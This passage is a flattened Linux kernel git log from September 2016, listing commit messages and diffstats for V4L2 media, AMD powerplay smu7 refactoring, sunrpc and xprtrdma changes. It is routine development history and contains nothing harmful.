WARNING: undefined label: v4l2-in-st-no-std-lock (if the link has no caption the label must precede a section header) Fixes: ab6343956f9c ("[media] V4L2: Add documentation for SDI timings and related flags") Cc: Charles-Antoine Couret Cc: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/videodev2.h.rst.exceptions | 4 ++++ 1 file changed, 4 insertions(+) commit e74c8cda4ca0c697dd8f0cc5928fe8403fb58f7c Author: Charles-Antoine Couret Date: Thu Sep 15 10:53:55 2016 -0300 [media] V4L2: Add documentation for SDI timings and related flags Describe new needed constants defined by SDI format. Signed-off-by: Charles-Antoine Couret Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-enuminput.rst | 31 +++++++++++++++++----- .../media/uapi/v4l/vidioc-g-dv-timings.rst | 15 +++++++++++ 2 files changed, 39 insertions(+), 7 deletions(-) commit 7389e6ef347443ac90116c2208bbdfb4f9d135ba Author: Charles-Antoine Couret Date: Thu Sep 15 12:29:50 2016 -0300 [media] SDI: add flag for SDI formats and SMPTE 125M definition Adding others generic flags, which could be used by many components like GS1662. Signed-off-by: Charles-Antoine Couret Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/v4l2-dv-timings.c | 11 +++++++---- include/uapi/linux/v4l2-dv-timings.h | 12 ++++++++++++ include/uapi/linux/videodev2.h | 8 ++++++++ 3 files changed, 27 insertions(+), 4 deletions(-) commit 618cd932cd38b65d89eb31a5271999b6ccc59b2e Author: Mauro Carvalho Chehab Date: Mon Sep 12 12:48:54 2016 -0300 MAINTAINERS: update documentation for media subsystem With ReST conversion, the media subsystem documentation is now located on different directories. Update them. Suggested-by: Joe Perches Cc: LKML Cc: linux-doc Cc: Jonathan Corbet Signed-off-by: Mauro Carvalho Chehab MAINTAINERS | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) commit 530a70617cb6325bd7781e7a993d732d6d37915a Merge: 26e9c85 2bbadaf Author: Greg Kroah-Hartman Date: Mon Sep 19 19:34:33 2016 +0200 Merge branch 'greybus' into staging-testing This merges the greybus branch into staging-testing. It contains the drivers/staging/greybus/ subsystem and related drivers and has passed the 0-day bot tests so no builds should break. Signed-off-by: Greg Kroah-Hartman commit e805ed83ba1ca0961d19496c944faed27aef82a3 Author: Rex Zhu Date: Fri Aug 19 21:00:27 2016 +0800 drm/amd/powerplay: delete useless files. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher .../amd/powerplay/hwmgr/fiji_clockpowergating.c | 121 - .../amd/powerplay/hwmgr/fiji_clockpowergating.h | 35 - .../drm/amd/powerplay/hwmgr/fiji_dyn_defaults.h | 105 - drivers/gpu/drm/amd/powerplay/hwmgr/fiji_hwmgr.c | 5601 ----------------- drivers/gpu/drm/amd/powerplay/hwmgr/fiji_hwmgr.h | 350 -- .../gpu/drm/amd/powerplay/hwmgr/fiji_powertune.c | 610 -- .../gpu/drm/amd/powerplay/hwmgr/fiji_powertune.h | 81 - drivers/gpu/drm/amd/powerplay/hwmgr/fiji_thermal.c | 687 --- drivers/gpu/drm/amd/powerplay/hwmgr/fiji_thermal.h | 62 - .../amd/powerplay/hwmgr/iceland_clockpowergating.c | 119 - .../amd/powerplay/hwmgr/iceland_clockpowergating.h | 38 - .../drm/amd/powerplay/hwmgr/iceland_dyn_defaults.h | 41 - .../gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.c | 5666 ----------------- .../gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.h | 424 -- .../drm/amd/powerplay/hwmgr/iceland_powertune.c | 490 -- .../drm/amd/powerplay/hwmgr/iceland_powertune.h | 60 - .../gpu/drm/amd/powerplay/hwmgr/iceland_thermal.c | 595 -- .../gpu/drm/amd/powerplay/hwmgr/iceland_thermal.h | 58 - .../powerplay/hwmgr/polaris10_clockpowergating.c | 444 -- .../powerplay/hwmgr/polaris10_clockpowergating.h | 40 - .../amd/powerplay/hwmgr/polaris10_dyn_defaults.h | 62 - .../gpu/drm/amd/powerplay/hwmgr/polaris10_hwmgr.c | 5290 ---------------- .../gpu/drm/amd/powerplay/hwmgr/polaris10_hwmgr.h | 354 -- .../drm/amd/powerplay/hwmgr/polaris10_powertune.c | 988 --- .../drm/amd/powerplay/hwmgr/polaris10_powertune.h | 81 - .../drm/amd/powerplay/hwmgr/polaris10_thermal.c | 716 --- .../drm/amd/powerplay/hwmgr/polaris10_thermal.h | 62 - .../amd/powerplay/hwmgr/tonga_clockpowergating.c | 350 -- .../amd/powerplay/hwmgr/tonga_clockpowergating.h | 36 - .../drm/amd/powerplay/hwmgr/tonga_dyn_defaults.h | 107 - drivers/gpu/drm/amd/powerplay/hwmgr/tonga_hwmgr.c | 6371 -------------------- drivers/gpu/drm/amd/powerplay/hwmgr/tonga_hwmgr.h | 402 -- .../gpu/drm/amd/powerplay/hwmgr/tonga_powertune.c | 495 -- .../gpu/drm/amd/powerplay/hwmgr/tonga_powertune.h | 80 - .../gpu/drm/amd/powerplay/hwmgr/tonga_thermal.c | 590 -- .../gpu/drm/amd/powerplay/hwmgr/tonga_thermal.h | 61 - 36 files changed, 31672 deletions(-) commit ab4f06d3adcc5165b13ed2e657050fd1808f319b Author: Rex Zhu Date: Thu Aug 25 20:08:03 2016 +0800 drm/amd/powerplay: use smu7 hwmgr to manager iceland Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/Makefile | 4 +--- drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 33 ++++++++++++++++++++++------ 2 files changed, 27 insertions(+), 10 deletions(-) commit 18aafc59b1067185f80597fc3331e5117c63834d Author: Rex Zhu Date: Tue Aug 23 11:58:14 2016 +0800 drm/amd/powerplay: implement fw related smu interface for iceland. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher .../drm/amd/powerplay/hwmgr/iceland_powertune.h | 14 - drivers/gpu/drm/amd/powerplay/smumgr/Makefile | 5 +- drivers/gpu/drm/amd/powerplay/smumgr/iceland_smc.c | 2576 ++++++++++++++++++++ drivers/gpu/drm/amd/powerplay/smumgr/iceland_smc.h | 40 + .../gpu/drm/amd/powerplay/smumgr/iceland_smumgr.c | 21 +- .../gpu/drm/amd/powerplay/smumgr/iceland_smumgr.h | 34 + 6 files changed, 2673 insertions(+), 17 deletions(-) commit 9c6d4956964d4b0282078dc348ca788dc3189d53 Author: Rex Zhu Date: Tue Aug 23 11:57:30 2016 +0800 drm/amd/powerplay: use smu7 common functions and data on icelannd. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher .../gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.c | 50 +- .../drm/amd/powerplay/hwmgr/iceland_powertune.c | 6 +- .../gpu/drm/amd/powerplay/hwmgr/iceland_thermal.c | 2 +- .../gpu/drm/amd/powerplay/smumgr/iceland_smumgr.c | 598 ++------------------- .../gpu/drm/amd/powerplay/smumgr/iceland_smumgr.h | 35 +- 5 files changed, 82 insertions(+), 609 deletions(-) commit 5746f90c56ebc9aeca10ee0296f1bc426a4bb2e1 Author: Rex Zhu Date: Thu Aug 25 20:25:40 2016 +0800 drm/amd/powerplay: use smu7 common functions and data on Fiji. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/fiji_smc.c | 69 +-- drivers/gpu/drm/amd/powerplay/smumgr/fiji_smumgr.c | 605 +-------------------- drivers/gpu/drm/amd/powerplay/smumgr/fiji_smumgr.h | 29 +- 3 files changed, 68 insertions(+), 635 deletions(-) commit d01ec3fb8c9bff2f82db075027f56b3390a3c77e Author: Rex Zhu Date: Fri Aug 19 20:43:52 2016 +0800 drm/amd/powerplay: use smu7 common functions and data on Polars10. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher .../gpu/drm/amd/powerplay/inc/polaris10_pwrvirus.h | 3 +- .../gpu/drm/amd/powerplay/smumgr/polaris10_smc.c | 81 +-- .../drm/amd/powerplay/smumgr/polaris10_smumgr.c | 681 ++------------------- .../drm/amd/powerplay/smumgr/polaris10_smumgr.h | 34 +- 4 files changed, 84 insertions(+), 715 deletions(-) commit ac43f0800f46f6648b49231b54646034a4143145 Author: Rex Zhu Date: Fri Aug 19 20:42:09 2016 +0800 drm/amd/powerplay: use smu7 common functions and data on Tonga. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/tonga_smc.c | 201 +++---- .../gpu/drm/amd/powerplay/smumgr/tonga_smumgr.c | 657 +-------------------- .../gpu/drm/amd/powerplay/smumgr/tonga_smumgr.h | 33 +- 3 files changed, 117 insertions(+), 774 deletions(-) commit 1ff55f4651037821b1d8b028bb0541e2b404f044 Author: Rex Zhu Date: Fri Aug 19 20:35:48 2016 +0800 drm/amd/powerplay: implement smu7_smumgr for asics with smu ip version 7. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/inc/smumgr.h | 1 + drivers/gpu/drm/amd/powerplay/smumgr/Makefile | 2 +- drivers/gpu/drm/amd/powerplay/smumgr/smu7_smumgr.c | 589 +++++++++++++++++++++ drivers/gpu/drm/amd/powerplay/smumgr/smu7_smumgr.h | 87 +++ 4 files changed, 678 insertions(+), 1 deletion(-) commit fb044ed90c6f87dba95729a8deddcd860b16fec3 Author: Rex Zhu Date: Thu Aug 11 16:51:41 2016 +0800 drm/amd/powerplay: use smu7_hwmgr to manager tonga. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/Makefile | 4 +--- drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 32 +++++++++++++++++++++++++--- 2 files changed, 30 insertions(+), 6 deletions(-) commit 1486022088dea351805e4db4fc76c4d7c68733d6 Author: Rex Zhu Date: Thu Aug 11 11:01:01 2016 +0800 drm/amd/powerplay: implement fw image related smum interface for tonga. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/tonga_hwmgr.c | 2 +- drivers/gpu/drm/amd/powerplay/smumgr/Makefile | 2 +- drivers/gpu/drm/amd/powerplay/smumgr/tonga_smc.c | 3214 ++++++++++++++++++++ drivers/gpu/drm/amd/powerplay/smumgr/tonga_smc.h | 60 + .../gpu/drm/amd/powerplay/smumgr/tonga_smumgr.c | 17 + .../gpu/drm/amd/powerplay/smumgr/tonga_smumgr.h | 37 +- 6 files changed, 3329 insertions(+), 3 deletions(-) commit b859c2070354ad8a2512e1524533d9f3291174c7 Author: Rex Zhu Date: Tue Aug 16 20:00:49 2016 +0800 drm/amd/powerplay: use smu7 hwmgr to manager fiji Reviewed-by: Alex Deucher Signed-off-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/Makefile | 3 +-- drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 28 ++++++++++++++++++++++++++-- 2 files changed, 27 insertions(+), 4 deletions(-) commit 18edef19ea44f4379e635bd32b553e58e23bba95 Author: Rex Zhu Date: Fri Sep 9 13:29:37 2016 +0800 drm/amd/powerplay: implement fw image related smu interface for Fiji. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/Makefile | 2 +- drivers/gpu/drm/amd/powerplay/smumgr/fiji_smc.c | 2371 ++++++++++++++++++++ drivers/gpu/drm/amd/powerplay/smumgr/fiji_smc.h | 51 + drivers/gpu/drm/amd/powerplay/smumgr/fiji_smumgr.c | 37 +- drivers/gpu/drm/amd/powerplay/smumgr/fiji_smumgr.h | 19 +- 5 files changed, 2472 insertions(+), 8 deletions(-) commit 4be051aeb3964146d3922238fff0ed1e4a9656d1 Author: Rex Zhu Date: Tue Sep 6 16:41:44 2016 +0800 drm/amd/powerplay: use smu7 hwmgr to manager polaris10/11 Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/Makefile | 2 -- drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 38 ++++++++++++++++++++++++++-- drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 1 + 3 files changed, 37 insertions(+), 4 deletions(-) commit 34a564eaf5289ad72798a07dc475b85fbffc68f2 Author: Rex Zhu Date: Fri Sep 9 13:29:47 2016 +0800 drm/amd/powerplay: implement fw image related smum interface for Polaris. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/Makefile | 2 +- .../gpu/drm/amd/powerplay/smumgr/polaris10_smc.c | 2284 ++++++++++++++++++++ .../gpu/drm/amd/powerplay/smumgr/polaris10_smc.h | 42 + .../drm/amd/powerplay/smumgr/polaris10_smumgr.c | 24 +- .../drm/amd/powerplay/smumgr/polaris10_smumgr.h | 23 +- 5 files changed, 2367 insertions(+), 8 deletions(-) commit 599a7e9fe1b683d04f889d68f866f5548b1e0239 Author: Rex Zhu Date: Fri Sep 9 13:25:22 2016 +0800 drm/amd/powerplay: implement smu7 hwmgr to manager asics with smu ip version 7. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Reviewed-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/Makefile | 23 +- .../amd/powerplay/hwmgr/smu7_clockpowergating.c | 488 +++ .../amd/powerplay/hwmgr/smu7_clockpowergating.h | 40 + .../drm/amd/powerplay/hwmgr/smu7_dyn_defaults.h | 55 + drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 4350 ++++++++++++++++++++ drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.h | 353 ++ .../gpu/drm/amd/powerplay/hwmgr/smu7_powertune.c | 729 ++++ .../gpu/drm/amd/powerplay/hwmgr/smu7_powertune.h | 62 + drivers/gpu/drm/amd/powerplay/hwmgr/smu7_thermal.c | 577 +++ drivers/gpu/drm/amd/powerplay/hwmgr/smu7_thermal.h | 58 + drivers/gpu/drm/amd/powerplay/inc/smu7_common.h | 58 + drivers/gpu/drm/amd/powerplay/inc/smu7_ppsmc.h | 412 ++ 12 files changed, 7195 insertions(+), 10 deletions(-) commit ee1a51f882f6197e05948de615842761c3386524 Author: Rex Zhu Date: Mon Aug 8 13:44:59 2016 +0800 drm/amd/powerplay: add common interface in smumgr to help to visit fw image. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/inc/smumgr.h | 69 ++++++++++++++++++ drivers/gpu/drm/amd/powerplay/smumgr/smumgr.c | 101 +++++++++++++++++++++++++- 2 files changed, 169 insertions(+), 1 deletion(-) commit 6a99a964f6e6af6b6f0d536312722257ae44f812 Author: Rex Zhu Date: Sat Sep 17 18:50:23 2016 +0800 drm/amd/powerplay: add parameter of the mclk switch latency time Signed-off-by: Rex Zhu Reviewed-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/inc/amd_powerplay.h | 1 + 1 file changed, 1 insertion(+) commit c07aefc268acf53c551dbd50d4fc08a82bee899f Author: Rex Zhu Date: Wed Sep 14 19:24:25 2016 +0800 drm/amd/powerplay: fix potential issue of array access violation Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit 9716ebc38dfabe6c8e5e3c809e9f3c61dd3740f9 Author: Rex Zhu Date: Wed Sep 14 13:20:34 2016 +0800 drm/amd/powerplay: fix mclk not switching back after multi-head was disabled Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/powerplay/eventmgr/eventactionchains.c | 2 ++ drivers/gpu/drm/amd/powerplay/eventmgr/psm.c | 3 ++- 2 files changed, 4 insertions(+), 1 deletion(-) commit f2aba352a954d962c434c059cb080eb935537e45 Author: Alex Deucher Date: Mon Sep 19 12:20:18 2016 -0400 Revert "drm/radeon: skip suspend/resume on DRM_SWITCH_POWER_DYNAMIC_OFF" This is not necessary as pointed out by Lukas Wunner. This reverts commit 5e0b1617fc38a27cf494c5d0b51f08de77ce0d20. drivers/gpu/drm/radeon/radeon_device.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit e313de7e89978012afec5953068052cbb42134a3 Author: Alex Deucher Date: Mon Sep 19 12:17:22 2016 -0400 Revert "drm/amdgpu: skip suspend/resume on DRM_SWITCH_POWER_DYNAMIC_OFF" This is not necessary as pointed out by Lukas Wunner. This reverts commit f46cf3735f4c05eb752d020d34ace1c85ccf567c. drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 02124a03e60d8526ad8da19d276e8b2b77be28fb Author: Alex Deucher Date: Mon Sep 19 09:30:21 2016 -0400 drm/amdgpu/dce6: fix off by one in interrupt setup Reviewed-by: Tom St Denis Reported-by: Christian Inci Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v6_0.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d48f9ce73c997573e1b512893fa6eddf353a6f69 Author: David Vrabel Date: Mon Sep 19 13:58:30 2016 +0100 sunrpc: fix write space race causing stalls Write space becoming available may race with putting the task to sleep in xprt_wait_for_buffer_space(). The existing mechanism to avoid the race does not work. This (edited) partial trace illustrates the problem: [1] rpc_task_run_action: task:43546@5 ... action=call_transmit [2] xs_write_space <-xs_tcp_write_space [3] xprt_write_space <-xs_write_space [4] rpc_task_sleep: task:43546@5 ... [5] xs_write_space <-xs_tcp_write_space [1] Task 43546 runs but is out of write space. [2] Space becomes available, xs_write_space() clears the SOCKWQ_ASYNC_NOSPACE bit. [3] xprt_write_space() attemts to wake xprt->snd_task (== 43546), but this has not yet been queued and the wake up is lost. [4] xs_nospace() is called which calls xprt_wait_for_buffer_space() which queues task 43546. [5] The call to sk->sk_write_space() at the end of xs_nospace() (which is supposed to handle the above race) does not call xprt_write_space() as the SOCKWQ_ASYNC_NOSPACE bit is clear and thus the task is not woken. Fix the race by resetting the SOCKWQ_ASYNC_NOSPACE bit in xs_nospace() so the second call to sk->sk_write_space() calls xprt_write_space(). Suggested-by: Trond Myklebust Signed-off-by: David Vrabel cc: stable@vger.kernel.org # 4.4 Signed-off-by: Anna Schumaker net/sunrpc/xprtsock.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit a38aaaa43d1acd037afd1bd84ebf9d855afdf714 Author: Wei Yongjun Date: Thu Sep 15 00:36:09 2016 -0300 [media] vivid: fix error return code in vivid_create_instance() Fix to return error code -ENOMEM from the memory or workqueue alloc error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vivid/vivid-core.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit e1618a57b9951a3182b52c4605948c8bb9bb0ea4 Author: Wei Yongjun Date: Wed Sep 14 23:22:03 2016 -0300 [media] pxa_camera: remove duplicated include from pxa_camera.c Remove duplicated include. Signed-off-by: Wei Yongjun Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/pxa_camera.c | 1 - 1 file changed, 1 deletion(-) commit a2755e1178c33e69a8c0f7a9961d52ce4af8d365 Author: Wei Yongjun Date: Wed Sep 14 23:21:45 2016 -0300 [media] pxa_camera: fix error return code in pxa_camera_probe() Fix to return error code -ENODEV from dma_request_slave_channel_compat() error handling case instead of 0, as done elsewhere in this function. Also fix to release resources in v4l2_clk_register() error handling. Signed-off-by: Wei Yongjun Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/pxa_camera.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit e4011b69ab329cc0d238d4dc530ab870c566c566 Author: Andrey Utkin Date: Mon Sep 12 20:02:38 2016 -0300 [media] tw5864: constify struct video_device template tw5864_video_template is used for filling of actual video_device structures. It is copied by value, and is not used for anything else. Signed-off-by: Andrey Utkin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/tw5864/tw5864-video.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c9c21c301dcf1219159ec4377c03d6a24a3d2ba0 Author: Andrey Utkin Date: Mon Sep 12 20:02:37 2016 -0300 [media] tw5864: constify vb2_ops structure Inspired by "[media] pci: constify vb2_ops structures" patch from Julia Lawall (dated 9 Sep 2016). Signed-off-by: Andrey Utkin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/tw5864/tw5864-video.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b82e39f85603db6251ffcacf8b0b91674869c6fb Author: Arnd Bergmann Date: Mon Sep 12 05:43:49 2016 -0300 [media] pulse8-cec: avoid uninitialized data use Building with -Wmaybe-uninitialized reveals the use on an uninitialized variable containing the physical address of the device whenever firmware before version 2 is used: drivers/staging/media/pulse8-cec/pulse8-cec.c: In function 'pulse8_connect': drivers/staging/media/pulse8-cec/pulse8-cec.c:447:2: error: 'pa' may be used uninitialized in this function [-Werror=maybe-uninitialized] This sets the address to CEC_PHYS_ADDR_INVALID in this case, so we don't try to write back the uninitialized data to the device. Fixes: e28a6c8b3fcc ("[media] pulse8-cec: sync configuration with adapter") Signed-off-by: Arnd Bergmann Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/pulse8-cec/pulse8-cec.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 4540e0ad6fa6fab0e4cc0dc4f74b1ebb676a4404 Author: Songjun Wu Date: Mon Sep 12 04:47:24 2016 -0300 [media] atmel-isc: set the format on the first open Set the current format on the first open. Signed-off-by: Songjun Wu Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/atmel/atmel-isc.c | 30 ++++++++++++++++++------------ 1 file changed, 18 insertions(+), 12 deletions(-) commit ca440c383a588091cae9fbce610b86a6e9d961ad Author: Jeff Layton Date: Thu Sep 15 14:40:49 2016 -0400 pnfs: add a new mechanism to select a layout driver according to an ordered list Currently, the layout driver selection code always chooses the first one from the list. That's not really ideal however, as the server can send the list of layout types in any order that it likes. It's up to the client to select the best one for its needs. This patch adds an ordered list of preferred driver types and has the selection code sort the list of available layout drivers according to it. Any unrecognized layout type is sorted to the end of the list. For now, the order of preference is hardcoded, but it should be possible to make this configurable in the future. Signed-off-by: Jeff Layton Reviewed-by: J. Bruce Fields Signed-off-by: Anna Schumaker fs/nfs/client.c | 1 + fs/nfs/nfs4proc.c | 2 +- fs/nfs/nfs4xdr.c | 31 +++++++++++++++------------ fs/nfs/pnfs.c | 56 ++++++++++++++++++++++++++++++++++++++++++------- fs/nfs/pnfs.h | 5 +++-- include/linux/nfs_xdr.h | 1 + 6 files changed, 72 insertions(+), 24 deletions(-) commit 496b77a5c5ce8cd36b5fb78b8811f015643a6541 Author: Chuck Lever Date: Thu Sep 15 10:57:57 2016 -0400 xprtrdma: Eliminate rpcrdma_receive_worker() Clean up: the extra layer of indirection doesn't add value. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/rpc_rdma.c | 4 +++- net/sunrpc/xprtrdma/verbs.c | 11 +---------- net/sunrpc/xprtrdma/xprt_rdma.h | 2 +- 3 files changed, 5 insertions(+), 12 deletions(-) commit 1519e9697d684b706a447c9d4b6c74ba5135d2e4 Author: Chuck Lever Date: Thu Sep 15 10:57:49 2016 -0400 xprtrdma: Rename rpcrdma_receive_wc() Clean up: When converting xprtrdma to use the new CQ API, I missed a spot. The naming convention elsewhere is: {svc_rdma,rpcrdma}_wc_{operation} Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/verbs.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit eeb30613e1ef82236a058b02d645cad812b309ae Author: Chuck Lever Date: Thu Sep 15 10:57:40 2016 -0400 xprtrmda: Report address of frmr, not mw Tie frwr debugging messages together by always reporting the address of the frwr. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/frwr_ops.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 44829d02d2d7a7064842ecf36239ea24df1cdf58 Author: Chuck Lever Date: Thu Sep 15 10:57:32 2016 -0400 xprtrdma: Support larger inline thresholds The Version One default inline threshold is still 1KB. But allow testing with thresholds up to 64KB. This maximum is somewhat arbitrary. There's no fundamental architectural limit I'm aware of, but it's good to keep the size of Receive buffers reasonable. Now that Send can use a s/g list, a Send buffer is only as large as each RPC requires. Receive buffers are always the size of the inline threshold, however. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker include/linux/sunrpc/xprtrdma.h | 4 ++-- net/sunrpc/xprtrdma/transport.c | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) commit 655fec6987be05964e70c2e2efcbb253710e282f Author: Chuck Lever Date: Thu Sep 15 10:57:24 2016 -0400 xprtrdma: Use gathered Send for large inline messages An RPC Call message that is sent inline but that has a data payload (ie, one or more items in rq_snd_buf's page list) must be "pulled up:" - call_allocate has to reserve enough RPC Call buffer space to accommodate the data payload - call_transmit has to memcopy the rq_snd_buf's page list and tail into its head iovec before it is sent As the inline threshold is increased beyond its current 1KB default, however, this means data payloads of more than a few KB are copied by the host CPU. For example, if the inline threshold is increased just to 4KB, then NFS WRITE requests up to 4KB would involve a memcpy of the NFS WRITE's payload data into the RPC Call buffer. This is an undesirable amount of participation by the host CPU. The inline threshold may be much larger than 4KB in the future, after negotiation with a peer server. Instead of copying the components of rq_snd_buf into its head iovec, construct a gather list of these components, and send them all in place. The same approach is already used in the Linux server's RPC-over-RDMA reply path. This mechanism also eliminates the need for rpcrdma_tail_pullup, which is used to manage the XDR pad and trailing inline content when a Read list is present. This requires that the pages in rq_snd_buf's page list be DMA-mapped during marshaling, and unmapped when a data-bearing RPC is completed. This is slightly less efficient for very small I/O payloads, but significantly more efficient as data payload size and inline threshold increase past a kilobyte. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/backchannel.c | 33 +---- net/sunrpc/xprtrdma/rpc_rdma.c | 301 +++++++++++++++++++++----------------- net/sunrpc/xprtrdma/transport.c | 18 +-- net/sunrpc/xprtrdma/verbs.c | 13 +- net/sunrpc/xprtrdma/xprt_rdma.h | 27 +++- 5 files changed, 207 insertions(+), 185 deletions(-) commit c8b920bb49939a5c6cf1d2d819300f318ea050d2 Author: Chuck Lever Date: Thu Sep 15 10:57:16 2016 -0400 xprtrdma: Basic support for Remote Invalidation Have frwr's ro_unmap_sync recognize an invalidated rkey that appears as part of a Receive completion. Local invalidation can be skipped for that rkey. Use an out-of-band signaling mechanism to indicate to the server that the client is prepared to receive RDMA Send With Invalidate. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/fmr_ops.c | 2 ++ net/sunrpc/xprtrdma/frwr_ops.c | 13 +++++++++++++ net/sunrpc/xprtrdma/rpc_rdma.c | 18 ++++++++++++++---- net/sunrpc/xprtrdma/transport.c | 5 +++-- net/sunrpc/xprtrdma/verbs.c | 8 +++++++- net/sunrpc/xprtrdma/xprt_rdma.h | 5 +++++ 6 files changed, 44 insertions(+), 7 deletions(-) commit 87cfb9a0c85ce4a0c96a4f3d692a85519b933ade Author: Chuck Lever Date: Thu Sep 15 10:57:07 2016 -0400 xprtrdma: Client-side support for rpcrdma_connect_private Send an RDMA-CM private message on connect, and look for one during a connection-established event. Both sides can communicate their various implementation limits. Implementations that don't support this sideband protocol ignore it. Once the client knows the server's inline threshold maxima, it can adjust the use of Reply chunks, and eliminate most use of Position Zero Read chunks. Moderately-sized I/O can be done using a pure inline RDMA Send instead of RDMA operations that require memory registration. Signed-off-by: Chuck Lever Signed-off-by: Anna Schumaker include/linux/sunrpc/rpc_rdma.h | 4 ++++ net/sunrpc/xprtrdma/fmr_ops.c | 5 ++--- net/sunrpc/xprtrdma/frwr_ops.c | 5 ++--- net/sunrpc/xprtrdma/rpc_rdma.c | 8 +++++--- net/sunrpc/xprtrdma/verbs.c | 40 +++++++++++++++++++++++++++++++++++++--- net/sunrpc/xprtrdma/xprt_rdma.h | 6 +++--- 6 files changed, 53 insertions(+), 15 deletions(-) commit ff06bd191e722393d9abf7d6f9767f195274e909 Author: Chuck Lever Date: Thu Sep 15 10:56:59 2016 -0400 rpcrdma: RDMA/CM private message data structure Introduce data structure used by both client and server to exchange implementation details during RDMA/CM connection establishment. This is an experimental out-of-band exchange between Linux RPC-over-RDMA Version One implementations, replacing the deprecated CCP (see RFC 5666bis). The purpose of this extension is to enable prototyping of features that might be introduced in a subsequent version of RPC-over-RDMA. Suggested by Christoph Hellwig and Devesh Sharma. Signed-off-by: Chuck Lever Reviewed-by: Sagi Grimberg Signed-off-by: Anna Schumaker include/linux/sunrpc/rpc_rdma.h | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) commit 6ea8e71150ecdc235fab31f76ed9953d82313923 Author: Chuck Lever Date: 